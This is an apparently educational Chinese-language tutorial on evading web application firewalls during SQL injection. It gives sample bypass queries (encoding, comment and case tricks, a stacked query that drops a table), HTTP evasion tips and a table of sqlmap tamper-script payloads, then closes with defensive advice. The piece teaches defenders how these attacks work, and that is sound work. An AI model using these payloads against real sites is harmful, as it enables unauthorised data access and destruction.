SQL注入中的WAF绕过
字数 1854 2025-08-20 18:18:40

WAF绕过技术详解:SQL注入防御突破指南

一、WAF基础概念

1.1 WAF定义与作用

Web应用防火墙(WAF)是专门保护网络应用(如网站和web服务)的防火墙,主要功能包括:

  • 过滤、监控和阻止恶意网络流量
  • 防御SQL注入、XSS攻击、文件包含等威胁
  • 作为网络安全策略的核心组成部分

1.2 WAF工作原理

  1. 流量监控与分析:分析HTTP流量识别攻击
  2. 规则集:使用预定义规则检测攻击特征
  3. 黑名单与白名单:基于IP或行为进行过滤
  4. 行为分析:高级WAF通过机器学习识别异常行为

1.3 WAF部署方式

  • 硬件/虚拟设备:部署在网络基础设施中
  • 主机软件:直接安装在服务器上
  • 云服务:第三方提供的可扩展服务

二、SQL注入WAF绕过技术

2.1 基本编码绕过技术

2.1.1 特殊符号替换

SELECT+user+FROM mysql.user LIMIT 1;  // 加号替换空格
SELECT-user FROM mysql.user LIMIT 1;   // 减号
SELECT@user FROM mysql.user LIMIT 1;   // @符号
SELECT!user FROM mysql.user LIMIT 1;   // 感叹号
SELECT'user'FROM mysql.user LIMIT 1;   // 单引号
SELECT"user"FROM mysql.user LIMIT 1;   // 双引号
SELECT~user FROM mysql.user LIMIT 1;   // 波浪号

2.1.2 注释技巧

SELECT user FROM mysql.user LIMIT 1 --;  // 行尾注释
SELECT/**/user/**/FROM mysql.user LIMIT 1;  // 块注释

2.2 高级编码技术

2.2.1 函数与转换

SELECT ASCII(SUBSTRING(user, 1, 1)) FROM mysql.user LIMIT 1;
SELECT CHAR(117,115,101,114) FROM mysql.user LIMIT 1;

2.2.2 编码表示

SELECT user FROM mysql.user WHERE user = 0x61646D696E LIMIT 1;  // 十六进制
SELECT CONCAT('us','er') FROM mysql.user LIMIT 1;  // 字符串拼接

2.3 数据库特性利用

2.3.1 大小写混合

SeLeCt user fRoM mysql.user LiMiT 1;

2.3.2 正则表达式

SELECT user FROM mysql.user WHERE user REGEXP '^z.*' LIMIT 1;

2.3.3 堆叠查询(需支持)

SELECT user FROM mysql.user; DROP TABLE test_table;

2.3.4 CASE语句

SELECT CASE WHEN (1=1) THEN user ELSE NULL END FROM mysql.user LIMIT 1;

2.4 HTTP请求欺骗技术

  • 修改User-Agent、Referer等头部
  • 使用非常规HTTP方法(PUT、DELETE等)
  • 多字节字符编码(UTF-8等)
  • 会话劫持技术
  • 内容类型混淆(如multipart/form-data)

三、SQLMap Tamper脚本分类

3.1 通用脚本(ALL)

脚本名称 作用 示例
apostrophemask.py UTF8代替引号 '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
base64encode.py Base64编码 'MScgQU5EIFNMRUVQKDUpIw=='
multiplespaces.py 添加多个空格 '1 UNION SELECT foobar'
space2plus.py 空格替换为+ 'SELECT+id+FROM+users'

3.2 MSSQL专用脚本

脚本名称 作用 示例
space2hash.py 绕过'='过滤 '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
equaltolike.py LIKE代替等号 SELECT * FROM users WHERE id LIKE 1
sp_password.py 追加sp_password '1 AND 9227=9227-- sp_password'

3.3 MySQL专用脚本

脚本名称 作用 示例
modsecurityversioned.py 版本注释 '1 /!30874AND 2>1/--'
space2mysqlblank.py 特殊空白符 SELECT%0Bid%0BFROM%A0users
bluecoat.py 空格+LIKE 'SELECT%09id FROM users where id LIKE 1'

3.4 Oracle/PostgreSQL脚本

脚本名称 作用 示例
greatest.py 替换>号 '1 AND GREATEST(A,B+1)=A'
charunicodeencode.py Unicode编码 %u0053%u0045%u004c...

四、防御建议

  1. 多层防御策略:不依赖单一WAF
  2. 规则持续更新:及时更新WAF规则库
  3. 输入验证:严格的输入过滤
  4. 最小权限原则:数据库账户权限控制
  5. 定期渗透测试:发现潜在漏洞
  6. 日志监控:分析异常请求模式

五、总结

WAF绕过技术不断发展,从基本编码到高级数据库特性利用,攻击者采用多种手段突破防御。防御方需:

  • 深入理解WAF工作原理
  • 掌握常见绕过技术
  • 实施深度防御策略
  • 保持安全措施与时俱进

安全是持续的过程,需要技术、流程和人员的全面配合才能构建有效的防御体系。

WAF绕过技术详解:SQL注入防御突破指南 一、WAF基础概念 1.1 WAF定义与作用 Web应用防火墙(WAF)是专门保护网络应用(如网站和web服务)的防火墙,主要功能包括: 过滤、监控和阻止恶意网络流量 防御SQL注入、XSS攻击、文件包含等威胁 作为网络安全策略的核心组成部分 1.2 WAF工作原理 流量监控与分析 :分析HTTP流量识别攻击 规则集 :使用预定义规则检测攻击特征 黑名单与白名单 :基于IP或行为进行过滤 行为分析 :高级WAF通过机器学习识别异常行为 1.3 WAF部署方式 硬件/虚拟设备:部署在网络基础设施中 主机软件:直接安装在服务器上 云服务:第三方提供的可扩展服务 二、SQL注入WAF绕过技术 2.1 基本编码绕过技术 2.1.1 特殊符号替换 2.1.2 注释技巧 2.2 高级编码技术 2.2.1 函数与转换 2.2.2 编码表示 2.3 数据库特性利用 2.3.1 大小写混合 2.3.2 正则表达式 2.3.3 堆叠查询(需支持) 2.3.4 CASE语句 2.4 HTTP请求欺骗技术 修改User-Agent、Referer等头部 使用非常规HTTP方法(PUT、DELETE等) 多字节字符编码(UTF-8等) 会话劫持技术 内容类型混淆(如multipart/form-data) 三、SQLMap Tamper脚本分类 3.1 通用脚本(ALL) | 脚本名称 | 作用 | 示例 | |---------|------|------| | apostrophemask.py | UTF8代替引号 | '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' | | base64encode.py | Base64编码 | 'MScgQU5EIFNMRUVQKDUpIw==' | | multiplespaces.py | 添加多个空格 | '1 UNION SELECT foobar' | | space2plus.py | 空格替换为+ | 'SELECT+id+FROM+users' | 3.2 MSSQL专用脚本 | 脚本名称 | 作用 | 示例 | |---------|------|------| | space2hash.py | 绕过'='过滤 | '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' | | equaltolike.py | LIKE代替等号 | SELECT * FROM users WHERE id LIKE 1 | | sp_ password.py | 追加sp_ password | '1 AND 9227=9227-- sp_password' | 3.3 MySQL专用脚本 | 脚本名称 | 作用 | 示例 | |---------|------|------| | modsecurityversioned.py | 版本注释 | '1 /!30874AND 2>1/--' | | space2mysqlblank.py | 特殊空白符 | SELECT%0Bid%0BFROM%A0users | | bluecoat.py | 空格+LIKE | 'SELECT%09id FROM users where id LIKE 1' | 3.4 Oracle/PostgreSQL脚本 | 脚本名称 | 作用 | 示例 | |---------|------|------| | greatest.py | 替换>号 | '1 AND GREATEST(A,B+1)=A' | | charunicodeencode.py | Unicode编码 | %u0053%u0045%u004c... | 四、防御建议 多层防御策略 :不依赖单一WAF 规则持续更新 :及时更新WAF规则库 输入验证 :严格的输入过滤 最小权限原则 :数据库账户权限控制 定期渗透测试 :发现潜在漏洞 日志监控 :分析异常请求模式 五、总结 WAF绕过技术不断发展,从基本编码到高级数据库特性利用,攻击者采用多种手段突破防御。防御方需: 深入理解WAF工作原理 掌握常见绕过技术 实施深度防御策略 保持安全措施与时俱进 安全是持续的过程,需要技术、流程和人员的全面配合才能构建有效的防御体系。